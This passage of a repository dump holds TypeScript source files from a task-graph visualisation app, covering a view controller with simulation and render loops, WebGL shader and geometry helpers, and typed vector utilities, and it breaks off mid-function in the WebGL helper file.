container.appendChild( resizeBar )\n container.style.maxHeight = CELL_HEIGHT_PX + 'px'\n\n return container\n }\n\n const populateHTMLTable = ( weekTable: WeekTable, floatingNodeId: G.NodeId | null = null ) => {\n itemOverlay.innerHTML = ''\n for ( let j = 0; j < SLOTS_PER_DAY; ++j ) {\n for ( let i = 0; i < DAYS_PER_WEEK; ++i ) {\n const cell = htmlTable.rows[ j + 1 /* Header offset */ ].cells[ i + 1 ]\n const it = weekTable[ i ][ j ]\n cell.innerHTML = ''\n cell.appendChild( makeSlot( { day: i, slot: j }, floatingNodeId ) )\n if ( it ) {\n const slots = it.item.duration / MS_PER_SLOT\n const row = htmlTable.rows[ Math.min( SLOTS_PER_DAY - 1, j + slots - 1 ) + 1 /* Header offset */ ]\n const lastCell = row.cells[ i + 1 ]\n const lastCellBottom = lastCell.offsetTop + lastCell.offsetHeight\n const height = lastCellBottom - cell.offsetTop\n const itemDiv = makeSchedItem( height, { day: i, slot: j }, it )\n itemDiv.style.top = cell.offsetTop + 'px'\n itemDiv.style.bottom = lastCellBottom + 'px'\n itemDiv.style.width = cell.offsetWidth + 'px'\n itemDiv.style.left = cell.offsetLeft + 'px'\n itemOverlay.appendChild( itemDiv )\n }\n }\n }\n }\n\n const hide = () => {\n container.classList.add( 'hidden' )\n }\n\n const unhide = () => {\n container.classList.remove( 'hidden' )\n }\n\n return {\n reset: populateHTMLTable,\n hide: hide,\n unhide: unhide,\n }\n}" }, { "alpha_fraction": 0.5567845106124878, "alphanum_fraction": 0.5622713565826416, "avg_line_length": 30.032432556152344, "blob_id": "24c8e00e1fda613cca0eccb844ce1a2f9c04675b", "content_id": "61cccf2acbeb6ea03e41e25f217bf0e04eefc78e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 11482, "license_type": "permissive", "max_line_length": 115, "num_lines": 370, "path": "/client/src/control/view.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as glm from 'gl-matrix'\nimport * as loop from '../util/loop.js'\nimport * as Stats from '../util/stats.js'\nimport * as G from '../../output/Yato.Common.Graph'\nimport * as Rem from '../../output/Yato.Client.Remote'\nimport * as Text from '../view/textUtil.js'\nimport * as GpuApi from '../view/gpu/api.js'\nimport * as GView from '../view/graphView.js'\nimport * as ViewApi from '../view/api.js'\nimport * as Opt from '../options.js'\nimport * as Banner from '../view/banner.js'\nimport * as InfoCard from '../view/infoCard.js'\nimport type { Theme } from '../view/theme.js'\n\ntype GetGraph = () => G.Graph\n\nconst SIM_CHECK_INTERVAL = 200\nconst SIM_STEP_INTERVAL = 0\nconst GFX_CHECK_INTERVAL = 0\n\nexport type Controller = {\n resize: () => void,\n refresh: ( sim?: boolean, resetLayout?: boolean ) => void,\n changeParentStart: () => void,\n onCompleted: ( nodeId: G.NodeId ) => void,\n update: ( restoreLayout?: boolean, zoomToFit?: boolean, sync?: Rem.SyncTs ) => void,\n pointerMove: ( x: number, y: number ) => void,\n zoom: ( scale: number ) => void,\n showCard: ( nodeId: G.NodeId ) => void,\n hideCard: ( force: boolean ) => InfoCard.NodeText | undefined,\n // dev mode actions:\n toggleSimPause: () => void,\n nextSimStep: () => void,\n navSimHistory: ( steps: number ) => void,\n}\n\nexport const init = (\n stats: Stats.Api,\n options: Opt.All,\n banner: Banner.Api,\n vstate: ViewApi.State,\n graph: GetGraph,\n gview: GView.Api,\n canvas: HTMLCanvasElement,\n font: Text.FontMetrics,\n theme: Theme\n): Controller => {\n\n // Initialize api state (may be called again if gpu context is lost).\n const api = GpuApi.init( stats, options, canvas )\n\n const projMat = glm.mat4.create()\n let canvasBase: { x: number, y: number }\n\n const resize = () => {\n\n canvas.style.width = window.innerWidth + 'px'\n canvas.style.height = window.innerHeight + 'px'\n\n canvas.width = Math.floor( window.innerWidth * window.devicePixelRatio )\n canvas.height = Math.floor( window.innerHeight * window.devicePixelRatio )\n\n canvasBase = {\n x: Math.floor( -canvas.width * 0.5 ),\n y: Math.floor( -canvas.height * 0.5 ),\n }\n\n glm.mat4.ortho( projMat,\n canvasBase.x, canvasBase.x + canvas.width,\n canvasBase.y, canvasBase.y + canvas.height,\n -1, +1 )\n }\n\n resize()\n\n const updateFromGraph = ( zoomToFit: boolean = false, loading: boolean = false ) => {\n\n stats.time( 'gview.update', () => {\n\n const g = graph()\n const bounds = gview.update( g, G.present(g), font[ font.maxSize ],\n vstate.mode, loading )\n\n if ( zoomToFit ) {\n const w = Math.max( -bounds.min.x, bounds.max.x ) * 2\n const h = Math.max( -bounds.min.y, bounds.max.y ) * 2\n const wScale = canvas.width / w\n const hScale = canvas.height / h\n const target = Math.min( wScale, hScale ) * 0.95\n let i = -100\n while (Math.pow(1.125, i) < target) {\n i += 1\n }\n vstate.camera.zoom.pow = i-1\n }\n\n api.sim.update( gview )\n api.gfx.update( gview, font, vstate.camera.zoom )\n } )\n }\n updateFromGraph( true, true )\n\n const saveLayout = ( sync?: Rem.SyncTs ) => {\n stats.time( 'gview.save', () => {\n api.sim.savePositions( gview.nodes )\n gview.saveLayout( sync )\n } )\n }\n\n const setHover: ViewApi.SetHover = ( nodeIdx, edgeIdx ) => {\n\n const nodeId = gview.nodeIdxToId( nodeIdx )\n const edgeIds = gview.edgeIdxToIds( edgeIdx )\n\n const m = vstate.mode\n ;( (): {} => {\n switch ( m.id ) {\n case 'none': case 'hoverNode': case 'hoverEdge':\n vstate.mode = nodeId !== undefined ? { id: 'hoverNode', nodeId: nodeId } :\n edgeIds !== undefined ? { id: 'hoverEdge', ...edgeIds } :\n { id: 'none' }\n return {}\n\n case 'scheduleOverlay':\n case 'selectNode':\n case 'infoCard':\n case 'menuWheelNode':\n case 'menuWheelEdge':\n case 'panView': return {}\n\n case 'dragNode':\n if ( m.reparent !== undefined ) m.reparent.nodeId = nodeId\n return {}\n case 'addEdge':\n m.toId = nodeId\n return {}\n }\n } )()\n }\n\n let doNextStep = false\n let manualStepEnabled = options.simParams.pausedOnStart == 1\n\n const simLoop = loop.asynch( {\n\n iterLoop: loop.timeout( SIM_STEP_INTERVAL ),\n iterBody: () => stats.time( 'sim.ms.cpu', () => {\n stats.markFrame( 'sim.fps' )\n\n const m = vstate.mode\n const orphanedIdx = gview.nodeIdToIdx( m.id == 'dragNode' && m.reparent ?\n m.nodeId : undefined )\n const dragIdx = gview.nodeIdToIdx( m.id == 'dragNode' || m.id == 'selectNode' ?\n m.nodeId : undefined )\n const dragDelta = m.id == 'dragNode' ? m.delta : glm.vec2.create()\n\n for ( let i = 0; i < options.simParams.subSteps; ++i ) {\n if ( doNextStep || !manualStepEnabled ) {\n api.sim.step( orphanedIdx, dragIdx, dragDelta )\n }\n doNextStep = false\n if ( m.id == 'dragNode' ) {\n m.delta[ 0 ] = 0\n m.delta[ 1 ] = 0\n }\n }\n } ),\n\n checkInterval: SIM_CHECK_INTERVAL,\n continueIf: () => {\n api.sim.readMovement( gview, ( movement: number ) => {\n const lowMovement = 0 <= movement && movement < options.simParams.minMovement\n const done = lowMovement && vstate.mode.id != 'dragNode'\n if ( done ) {\n saveLayout()\n // stats.cancelFrame( 'sim.fps' )\n simLoop.stop()\n }\n } )\n return true\n },\n } )\n\n const gfxLoop = loop.asynch( {\n\n iterLoop: loop.animation,\n iterBody: () => stats.time( 'render.ms.cpu', () => {\n\n stats.markFrame( 'render.fps' )\n\n const viewMat = glm.mat4.create()\n const zoom = ViewApi.zoomScale( vstate.camera.zoom )\n const scale = glm.vec3.fromValues( zoom, zoom, 1 )\n const trans = glm.vec3.fromValues( vstate.camera.pan[0], vstate.camera.pan[1], 0 )\n glm.mat4.identity( viewMat )\n glm.mat4.scale( viewMat, viewMat, scale )\n glm.mat4.translate( viewMat, viewMat, trans )\n\n const m = vstate.mode\n const params: ViewApi.RenderParams = {\n canvasBase: canvasBase,\n canvasSize: { x: canvas.width, y: canvas.height },\n\n zoom: vstate.camera.zoom,\n projMat: projMat,\n viewMat: viewMat,\n\n orphanedIdx: gview.nodeIdToIdx( m.id == 'dragNode' && m.reparent ?\n m.nodeId : undefined ),\n edgeFromIdx: gview.nodeIdToIdx( m.id == 'addEdge' ?\n m.fromId : undefined ),\n hoverNodeIdx: gview.nodeIdToIdx( m.id == 'hoverNode' || m.id == 'menuWheelNode' ? m.nodeId :\n m.id == 'dragNode' && m.reparent ? m.reparent.nodeId :\n m.id == 'addEdge' ? m.toId : undefined ),\n hoverEdgeIdx: gview.edgeIdsToIdx( m.id == 'hoverEdge' || m.id == 'menuWheelEdge' ?\n m : undefined ),\n\n pointerWorldPos: ViewApi.viewToWorld( vstate, vstate.pointerViewPos ),\n\n theme: theme,\n nodeCount: gview.nodes.length, // TODO: just check stepCount == timeBorn\n stepCount: api.sim.currentStepCount(),\n stepsToFull: options.simParams.stepsToFull,\n }\n\n api.gfx.pick( params, vstate.pointerViewPos, setHover )\n api.gfx.render( params )\n } ),\n\n checkInterval: GFX_CHECK_INTERVAL,\n continueIf: () => {\n const done = !simLoop.enabled() && api.gfx.done()\n if ( done ) stats.cancelFrame( 'render.fps' )\n return !done\n },\n } )\n\n const refresh = ( sim: boolean = false, resetLayout: boolean = false ) => {\n if ( resetLayout ) api.sim.reset()\n if ( sim ) simLoop.restart()\n gfxLoop.restart()\n }\n\n let boringX: number\n let boringY: number\n\n let infoCard: InfoCard.Api\n\n return {\n resize: () => {\n resize()\n refresh()\n },\n refresh: refresh,\n\n changeParentStart: () => {\n if ( vstate.mode.id == 'dragNode' && vstate.mode.reparent ) {\n saveLayout()\n gview.setOrphan( vstate.mode.nodeId )\n api.sim.updateNodeAttr( gview )\n refresh( true )\n }\n },\n\n onCompleted: ( nodeId ) => {\n if ( options.oreoMode ) {\n const node = gview.nodes[ gview.nodeIdToIdx( nodeId ) ]\n api.gfx.explode( node.pos, node.mass * 20 )\n banner.inspire( node.label )\n banner.boring( boringX, boringY )\n }\n },\n\n update: ( restoreLayout = false, zoomToFit = false, sync? ) => {\n if ( !restoreLayout ) saveLayout( sync )\n updateFromGraph( zoomToFit )\n refresh( true )\n },\n\n pointerMove: ( x, y ) => {\n boringX = x\n boringY = y\n const oldPos = vstate.pointerViewPos\n const newPos = glm.vec2.fromValues(\n canvasBase.x + x * window.devicePixelRatio,\n canvasBase.y + ( window.innerHeight - y ) * window.devicePixelRatio,\n )\n\n const delta = glm.vec2.subtract( glm.vec2.create(), newPos, oldPos )\n const zoom = ViewApi.zoomScale( vstate.camera.zoom )\n glm.vec2.scale( delta, delta, 1 / zoom )\n\n if ( vstate.mode.id == 'panView' ) {\n glm.vec2.add( vstate.camera.pan, vstate.camera.pan, delta )\n } else if ( vstate.mode.id == 'dragNode' ) {\n glm.vec2.add( vstate.mode.delta, vstate.mode.delta, delta )\n }\n\n vstate.pointerViewPos = newPos\n refresh()\n },\n\n zoom: ( inc ) => {\n const prev = ViewApi.viewToWorld( vstate, vstate.pointerViewPos )\n vstate.camera.zoom.pow += inc\n const curr = ViewApi.viewToWorld( vstate, vstate.pointerViewPos )\n\n const delta = glm.vec2.subtract( glm.vec2.create(), curr, prev )\n if ( !isNaN( delta[ 0 ]) ) {\n glm.vec2.add( vstate.camera.pan, vstate.camera.pan, delta )\n }\n\n api.gfx.rescale( gview, font, vstate.camera.zoom )\n refresh()\n },\n\n showCard: ( nodeId ) => {\n const nodeIdx = gview.nodeIdToIdx( nodeId )\n\n api.sim.getNodePos( nodeIdx, ( pos ) => {\n const wpos = glm.vec2.fromValues( pos[ 0 ], pos[ 1 ] )\n const screenPos = ViewApi.worldToView( vstate, wpos )\n const node = gview.nodes[ nodeIdx ]\n\n simLoop.stop()\n const g = graph()\n const t = G.present(g)\n const attrs = {title: G.getTitle(t)(nodeId)(g), info: G.getInfo(t)(nodeId)(g)}\n infoCard = InfoCard.init( node, attrs, { x: screenPos[ 0 ], y: screenPos[ 1 ] }, font, vstate.camera.zoom )\n infoCard.show()\n } )\n\n },\n\n hideCard: ( force: boolean ) => {\n if ( infoCard ) {\n return infoCard.hide( force )\n }\n return undefined\n },\n\n toggleSimPause: () => {\n if ( options.devMode ) {\n manualStepEnabled = !manualStepEnabled\n console.log( \"manualStepEnabled =\", manualStepEnabled )\n if ( !manualStepEnabled ) {\n simLoop.restart()\n gfxLoop.restart()\n }\n }\n },\n\n nextSimStep: () => {\n if ( options.devMode ) {\n doNextStep = true\n simLoop.restart()\n gfxLoop.restart()\n }\n },\n\n navSimHistory: ( steps ) => {\n if ( options.devMode ) {\n if ( manualStepEnabled ) {\n api.sim.deltaHistory( steps )\n gfxLoop.restart()\n }\n }\n },\n }\n}\n" }, { "alpha_fraction": 0.6359207630157471, "alphanum_fraction": 0.6372199058532715, "avg_line_length": 38.47435760498047, "blob_id": "980ed251a444256c230330677b3790baabab7f84", "content_id": "b809c7b9aa4d327ee43db6186def590cc992037a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 3079, "license_type": "permissive", "max_line_length": 91, "num_lines": 78, "path": "/client/src/view/gpu/gfx/debug.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as glut from '../glUtil.js'\nimport * as GView from '../../graphView.js'\nimport * as ViewApi from '../../api.js'\nimport * as constants from '../common/constants.js'\nimport * as Opt from '../../../options.js'\nimport * as vert from '../../../../output-glsl/view/gpu/gfx/debug.vert.glsl.js'\nimport * as frag from '../../../../output-glsl/view/gpu/gfx/debug.frag.glsl.js'\n\nexport type Api = {\n geometry: glut.Geometry,\n update: ( gview: GView.Api ) => void,\n render: ( p: ViewApi.RenderParams, orphanedPass: boolean ) => void,\n}\n\nexport const init = ( gl: glut.GL, params: Opt.SimParams ): Api => {\n\n const program = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, vert.shader.source),\n glut.compileShader( gl, gl.FRAGMENT_SHADER, frag.shader.source ),\n ] )\n program.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n program.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n program.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n program.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n\n const geometry = glut.createGeometry( gl, program.id, {\n mode: gl.TRIANGLE_STRIP,\n numVertices: 4,\n instanceDivisors: { progress: 1 },\n } )\n\n return {\n geometry: geometry,\n\n update: ( graphView ) => {\n\n geometry.allocInstances( graphView.nodes.length )\n\n graphView.nodes.forEach( ( node, i ) => {\n geometry.setAttr( 'progress', i, node.progress )\n } )\n\n geometry.copyToGpu()\n },\n\n render: ( p: ViewApi.RenderParams, orphanedPass: boolean ) => {\n\n program.uniform( 'camProj', false, p.projMat )\n program.uniform( 'camView', false, p.viewMat )\n program.uniform( 'hoverIdx', p.hoverNodeIdx )\n program.uniform( 'edgeFromIdx', p.edgeFromIdx )\n program.uniform( 'orphanedIdx', p.orphanedIdx )\n program.uniform( 'orphanedPass', orphanedPass )\n\n program.uniform( 'border', p.theme.node.border.cornerRadius,\n p.theme.node.border.width,\n p.theme.node.border.margin )\n\n const tnc = p.theme.node.fillColor;\n program.uniform( 'fillColorCompleted', ...glut.hexToRGB( tnc.completed ) )\n program.uniform( 'fillColorInProgress', ...glut.hexToRGB( tnc.inProgress ) )\n program.uniform( 'fillColorEdge', ...glut.hexToRGB( tnc.edge ) )\n\n const tnbc = p.theme.node.border.fillColor;\n program.uniform( 'borderColorDefault', ...glut.hexToRGB( tnbc.default ) )\n program.uniform( 'borderColorHover', ...glut.hexToRGB( tnbc.hover ) )\n program.uniform( 'borderColorProgress', ...glut.hexToRGB( tnbc.progress ) )\n program.uniform( 'borderColorProgressHover', ...glut.hexToRGB( tnbc.progressHover ) )\n\n program.uniform( 'collisionRadius', params.collisionRadius )\n program.uniform( 'nodeCount', p.nodeCount )\n program.uniform( 'stepCount', p.stepCount )\n program.uniform( 'stepsToFull', p.stepsToFull )\n\n glut.draw( gl, program, geometry )\n }\n }\n}\n" }, { "alpha_fraction": 0.5066404342651367, "alphanum_fraction": 0.546483039855957, "avg_line_length": 26.45945930480957, "blob_id": "ea6be6e0885b662c43b93bef6bef30e9f78528f9", "content_id": "50c04714309b56ebe84b16d4fa9332ceaa2d1f22", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2033, "license_type": "permissive", "max_line_length": 90, "num_lines": 74, "path": "/client/src/view/gpu/vecUtil.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "\nexport type ElemType =\n | 'Uint8'\n | 'Uint16'\n | 'Uint32'\n | 'Int8'\n | 'Int16'\n | 'Int32'\n | 'Float32'\n\nexport type Arity = 1 | 2 | 3 | 4\n\nexport type VecType<N extends Arity> =\n N extends 1 ? [ number ] :\n N extends 2 ? [ number, number ] :\n N extends 3 ? [ number, number, number ] :\n N extends 4 ? [ number, number, number, number ] :\n undefined\n\nexport type ArrayType<E extends ElemType> =\n E extends 'Uint8' ? Uint8Array :\n E extends 'Uint16' ? Uint16Array :\n E extends 'Uint32' ? Uint32Array :\n E extends 'Int8' ? Int8Array :\n E extends 'Int16' ? Int16Array :\n E extends 'Int32' ? Int32Array :\n E extends 'Float32' ? Float32Array :\n undefined\n\nexport type Array<E extends ElemType, N extends Arity> = {\n array: ArrayType<E>,\n arity: N,\n length: number,\n get: ( i: number ) => VecType<N>,\n set: ( i: number, ...v: VecType<N> ) => void,\n}\n\nexport const allocArray = <E extends ElemType, N extends Arity>(\n e: E, arity: N, length: number ): Array<E, N> => {\n\n const count = arity * length\n const array = <ArrayType<E>> ( () => {\n switch ( e ) {\n case 'Uint8': return new Uint8Array( count )\n case 'Uint16': return new Uint16Array( count )\n case 'Uint32': return new Uint32Array( count )\n case 'Int8': return new Int8Array( count )\n case 'Int16': return new Int16Array( count )\n case 'Int32': return new Int32Array( count )\n case 'Float32': return new Float32Array( count )\n default: throw new Error()\n }\n } )()\n\n return {\n array: array,\n arity: arity,\n length: length,\n\n get: ( i ) => {\n const j = i * arity\n return <VecType<N>> (\n arity === 1 ? [ array[ j ] ] :\n arity === 2 ? [ array[ j + 0 ], array[ j + 1 ] ] :\n arity === 3 ? [ array[ j + 0 ], array[ j + 1 ], array[ j + 2 ] ] :\n arity === 4 ? [ array[ j + 0 ], array[ j + 1 ], array[ j + 2 ], array[ j + 3 ] ] :\n undefined\n )\n },\n\n set: ( i, ...v ) => {\n array.set( v, i * arity )\n },\n }\n}\n" }, { "alpha_fraction": 0.5674992799758911, "alphanum_fraction": 0.5768818855285645, "avg_line_length": 32.34428405761719, "blob_id": "52615b75c0920828284bff7c351580a3aebbee3e", "content_id": "b34e3ef5068c9260d72ac51899c7fdea11942f62", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 23341, "license_type": "permissive", "max_line_length": 99, "num_lines": 700, "path": "/client/src/view/gpu/glUtil.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "// See license and attribution at end of file.\nimport * as Stats from '../../util/stats.js'\nimport * as loop from '../../util/loop.js'\nimport * as Vec from './vecUtil.js'\n\nexport type GL = WebGL2RenderingContext\n\nconst makeBind = <T>( query: keyof GL, bind: ( gl: GL, id: T ) => void ):\n <R>( gl: GL, id: T, f: () => R ) => R => {\n return ( gl, id, f ) => {\n bind( gl, id )\n return f()\n }\n}\n\nconst makeBindRestore = <T>( query: keyof GL, bind: ( gl: GL, id: T ) => void ):\n <R>( gl: GL, id: T, f: () => R ) => R => {\n return ( gl, id, f ) => {\n const prev = gl.getParameter( <GLenum>gl[ query ] )\n bind( gl, id )\n const res = f()\n bind( gl, prev )\n return res\n }\n}\n\nexport const bind = {\n program: makeBind<WebGLProgram>( 'CURRENT_PROGRAM',\n ( gl, id ) => gl.useProgram( id ) ),\n vao: makeBind<WebGLVertexArrayObject>( 'VERTEX_ARRAY_BINDING',\n ( gl, id ) => gl.bindVertexArray( id ) ),\n vbo: makeBind<WebGLBuffer>( 'ARRAY_BUFFER_BINDING',\n ( gl, id ) => gl.bindBuffer( gl.ARRAY_BUFFER, id ) ),\n ibo: makeBind<WebGLBuffer>( 'ELEMENT_ARRAY_BUFFER_BINDING',\n ( gl, id ) => gl.bindBuffer( gl.ELEMENT_ARRAY_BUFFER, id ) ),\n rbo: makeBind<WebGLRenderbuffer>( 'RENDERBUFFER_BINDING',\n ( gl, id ) => gl.bindRenderbuffer( gl.RENDERBUFFER, id ) ),\n fboDraw: makeBind<WebGLFramebuffer>( 'DRAW_FRAMEBUFFER_BINDING',\n ( gl, id ) => gl.bindFramebuffer( gl.DRAW_FRAMEBUFFER, id ) ),\n fboRead: makeBind<WebGLFramebuffer>( 'READ_FRAMEBUFFER_BINDING',\n ( gl, id ) => gl.bindFramebuffer( gl.READ_FRAMEBUFFER, id ) ),\n texUnit: makeBind<GLenum>( 'ACTIVE_TEXTURE',\n ( gl, id: number ) => gl.activeTexture( id ) ),\n\n tex2D: makeBindRestore<WebGLTexture>( 'TEXTURE_BINDING_2D',\n ( gl, id ) => gl.bindTexture( gl.TEXTURE_2D, id ) ),\n tex2DArray: makeBindRestore<WebGLTexture>( 'TEXTURE_BINDING_2D_ARRAY',\n ( gl, id ) => gl.bindTexture( gl.TEXTURE_2D_ARRAY, id ) ),\n}\n\ntype Settable = {\n value?: any,\n dirty?: boolean,\n checked?: boolean,\n}\n\nconst setWrapper = <T extends Settable>( kind: string, map: Map<string, T>,\n fset: ( x: T, ...r: any[] ) => void ): ( s: string, ...x: any[] ) => void => {\n const bads = new Set<string>()\n return ( name, ...args ) => {\n const x = map.get( name )\n if ( x ) fset( x, ...args )\n else if ( !bads.has( name ) ) {\n // console.assert( false, 'inactive', kind, name )\n bads.add( name )\n }\n }\n}\n\nconst forEachDirty = <T extends Settable>( map: Map<string, T>,\n cb: ( s: string, x: T ) => void ): void => {\n for ( const [ s, x ] of map ) {\n if ( !x.checked ) {\n if ( x.value === undefined ) throw Error( s + \" is not set\" )\n x.checked = true\n }\n if ( x.dirty && x.value !== undefined ) {\n cb( s, x )\n x.dirty = false\n }\n }\n}\n\nexport const compileShader = ( gl: GL, type: GLenum, source: string ): WebGLShader => {\n const shader = gl.createShader( type )\n if ( !shader ) throw new Error()\n\n gl.shaderSource( shader, source )\n gl.compileShader( shader )\n\n if ( !gl.getShaderParameter( shader, gl.COMPILE_STATUS ) && !gl.isContextLost() ) {\n\n const addLineNumbers = ( string: string ) => {\n \tconst lines = string.split( '\\n' )\n \tfor ( let i = 0; i < lines.length; i ++ ) {\n \t\tlines[ i ] = ( i + 1 ) + ': ' + lines[ i ]\n \t}\n \treturn lines.join( '\\n' )\n }\n throw \"unable to compile shader:\" + gl.getShaderInfoLog( shader ) + '\\n' +\n addLineNumbers( source )\n }\n return shader\n}\n\nexport type Uniform = Settable & {\n setter: ( ...v: any[] ) => void,\n}\n\nexport type Program = {\n id: WebGLProgram,\n uniform: ( s: string, ...v: any[] ) => void,\n bind: ( f: () => void ) => void,\n}\n\nexport const linkProgram = ( gl: GL, shaders: WebGLShader[] ): Program => {\n const program = gl.createProgram()\n if ( !program ) throw new Error()\n\n for ( const shader of shaders ) {\n gl.attachShader( program, shader )\n }\n gl.linkProgram( program )\n\n if ( !gl.getProgramParameter( program, gl.LINK_STATUS ) && !gl.isContextLost() ) {\n throw \"unable to link program: \" + gl.getProgramInfoLog( program )\n }\n\n const numUniforms = gl.getProgramParameter( program, gl.ACTIVE_UNIFORMS )\n const uniforms = new Map<string, Uniform>()\n\n for ( let i = 0; i < numUniforms; ++i ) {\n const u = gl.getActiveUniform( program, i )\n if ( !u ) continue\n const loc = gl.getUniformLocation( program, u.name )\n if ( !loc || loc < 0 ) continue\n\n uniforms.set( u.name, {\n setter: ( (): any => {\n switch ( u.type ) {\n case gl.BOOL: return gl.uniform1i\n case gl.INT: return gl.uniform1i\n case gl.INT_VEC2: return gl.uniform2i\n case gl.INT_VEC3: return gl.uniform3i\n case gl.INT_VEC4: return gl.uniform4i\n case gl.FLOAT: return gl.uniform1f\n case gl.FLOAT_VEC2: return gl.uniform2f\n case gl.FLOAT_VEC3: return gl.uniform3f\n case gl.FLOAT_VEC4: return gl.uniform4f\n case gl.FLOAT_MAT4: return gl.uniformMatrix4fv\n case gl.SAMPLER_2D: return gl.uniform1i\n case gl.SAMPLER_2D_ARRAY: return gl.uniform1i\n case gl.INT_SAMPLER_2D: return gl.uniform1i\n default: throw new Error()\n }\n } )().bind( gl, loc )\n } )\n }\n\n return {\n id: program,\n\n uniform: setWrapper( 'uniform', uniforms, ( u, ...v ) => {\n u.value = v\n u.dirty = true\n } ),\n\n bind: ( cb ) => {\n bind.program( gl, program, () => {\n forEachDirty( uniforms, ( s, u ) => u.setter( ...u.value ) )\n cb()\n } )\n },\n }\n}\n\ntype AttrInfo = { arity: Vec.Arity, type: GLenum, array: Vec.ElemType }\n\nconst getAttrTypeInfo = ( gl: GL, type: GLenum ): AttrInfo => {\n switch ( type ) {\n case gl.INT: return { arity: 1, type: gl.INT, array: 'Int32' }\n case gl.INT_VEC2: return { arity: 2, type: gl.INT, array: 'Int32' }\n case gl.INT_VEC3: return { arity: 3, type: gl.INT, array: 'Int32' }\n case gl.INT_VEC4: return { arity: 4, type: gl.INT, array: 'Int32' }\n case gl.FLOAT: return { arity: 1, type: gl.FLOAT, array: 'Float32' }\n case gl.FLOAT_VEC2: return { arity: 2, type: gl.FLOAT, array: 'Float32' }\n case gl.FLOAT_VEC3: return { arity: 3, type: gl.FLOAT, array: 'Float32' }\n case gl.FLOAT_VEC4: return { arity: 4, type: gl.FLOAT, array: 'Float32' }\n default: throw new Error()\n }\n}\n\nexport type GeoParams = {\n mode: GLenum,\n numVertices?: GLsizei,\n numInstances?: GLsizei,\n index?: {\n num: GLsizei,\n type: GLenum,\n },\n instanceDivisors?: { [key: string]: GLuint },\n}\n\nexport type Attribute = Settable & {\n info: AttrInfo,\n vbo: WebGLBuffer,\n}\n\nexport type Geometry = {\n vao: WebGLVertexArrayObject,\n allocVertices: ( length: number ) => void,\n allocInstances: ( length: number ) => void,\n allocIndices: ( type: GLenum, length: number ) => void,\n setAttr: ( s: string, ...v: any[]) => void,\n setIndex: ( i: number, v: number ) => void,\n copyToGpu: () => void,\n draw: () => void,\n}\n\nexport const createGeometry = ( gl: GL, program: WebGLProgram, params: GeoParams ): Geometry => {\n\n const vao = gl.createVertexArray()\n if ( !vao ) throw new Error()\n\n const attrs = new Map<string, Attribute>()\n let indices: Settable & { ibo: WebGLBuffer } | undefined = undefined\n\n bind.vao( gl, vao, () => {\n\n const num = gl.getProgramParameter( program, gl.ACTIVE_ATTRIBUTES )\n\n for ( let idx = 0; idx < num; ++idx ) {\n const attr = gl.getActiveAttrib( program, idx )\n if ( !attr ) continue\n const loc = gl.getAttribLocation( program, attr.name )\n if ( loc < 0 ) continue\n\n const info = getAttrTypeInfo( gl, attr.type )\n const vbo = gl.createBuffer()\n if ( !vbo ) throw new Error()\n\n bind.vbo( gl, vbo, () => {\n if ( info.type == gl.INT ) {\n gl.vertexAttribIPointer( loc, info.arity, info.type, 0, 0 )\n } else {\n gl.vertexAttribPointer( loc, info.arity, info.type, false, 0, 0 )\n }\n if ( params.instanceDivisors && params.instanceDivisors[ attr.name ] ) {\n gl.vertexAttribDivisor( loc, params.instanceDivisors[ attr.name ] )\n }\n gl.enableVertexAttribArray( loc )\n } )\n\n attrs.set( attr.name, { info: info, vbo: vbo } )\n }\n } )\n\n return {\n vao: vao,\n\n allocVertices: ( length ) => {\n for ( const [ s, attr ] of attrs ) {\n if ( !params.instanceDivisors || !params.instanceDivisors[ s ] ) {\n attr.value = Vec.allocArray( attr.info.array, attr.info.arity, length )\n attr.dirty = true\n }\n }\n params.numVertices = length\n },\n\n allocInstances: ( length ) => {\n for ( const [ s, attr ] of attrs ) {\n if ( params.instanceDivisors && params.instanceDivisors[ s ] ) {\n attr.value = Vec.allocArray( attr.info.array, attr.info.arity,\n length / params.instanceDivisors[ s ] )\n attr.dirty = true\n }\n }\n params.numInstances = length\n },\n\n allocIndices: ( type, length ) => {\n const arrayType = ( () => {\n switch ( type ) {\n case gl.UNSIGNED_SHORT: return Uint16Array\n case gl.UNSIGNED_INT: return Uint32Array\n default: throw new Error()\n }\n } )()\n\n if ( !indices ) {\n const ibo = gl.createBuffer()\n if ( !ibo ) throw new Error()\n bind.vao( gl, vao, () => {\n gl.bindBuffer( gl.ELEMENT_ARRAY_BUFFER, ibo )\n } )\n indices = { ibo: ibo }\n }\n indices.value = new arrayType( length )\n indices.dirty = true\n\n params.index = { type: type, num: length }\n },\n\n setAttr: setWrapper( 'attribute', attrs, ( attr, i, ...v ) => {\n attr.value.set( i, ...v )\n attr.dirty = true\n } ),\n\n setIndex: ( i, v ) => {\n if ( !indices ) throw new Error()\n indices.value[ i ] = v\n indices.dirty = true\n },\n\n copyToGpu: () => {\n forEachDirty( attrs, ( s, attr ) => {\n bind.vbo( gl, attr.vbo, () => {\n gl.bufferData( gl.ARRAY_BUFFER, attr.value.array, gl.STATIC_DRAW )\n } )\n } )\n if ( indices && indices.dirty ) {\n bind.ibo( gl, indices.ibo, () => {\n if ( !indices ) throw new Error()\n gl.bufferData( gl.ELEMENT_ARRAY_BUFFER, indices.value, gl.STATIC_DRAW )\n } )\n indices.dirty = false\n }\n },\n\n draw: () => {\n forEachDirty( attrs, ( s, attr ) => { throw new Error() } )\n if ( indices && indices.dirty ) throw new Error()\n bind.vao( gl, vao, () => {\n if ( params.numVertices ) {\n if ( params.numInstances ) {\n if ( params.index ) {\n gl.drawElementsInstanced( params.mode, params.index.num, params.index.type, 0,\n params.numInstances )\n } else 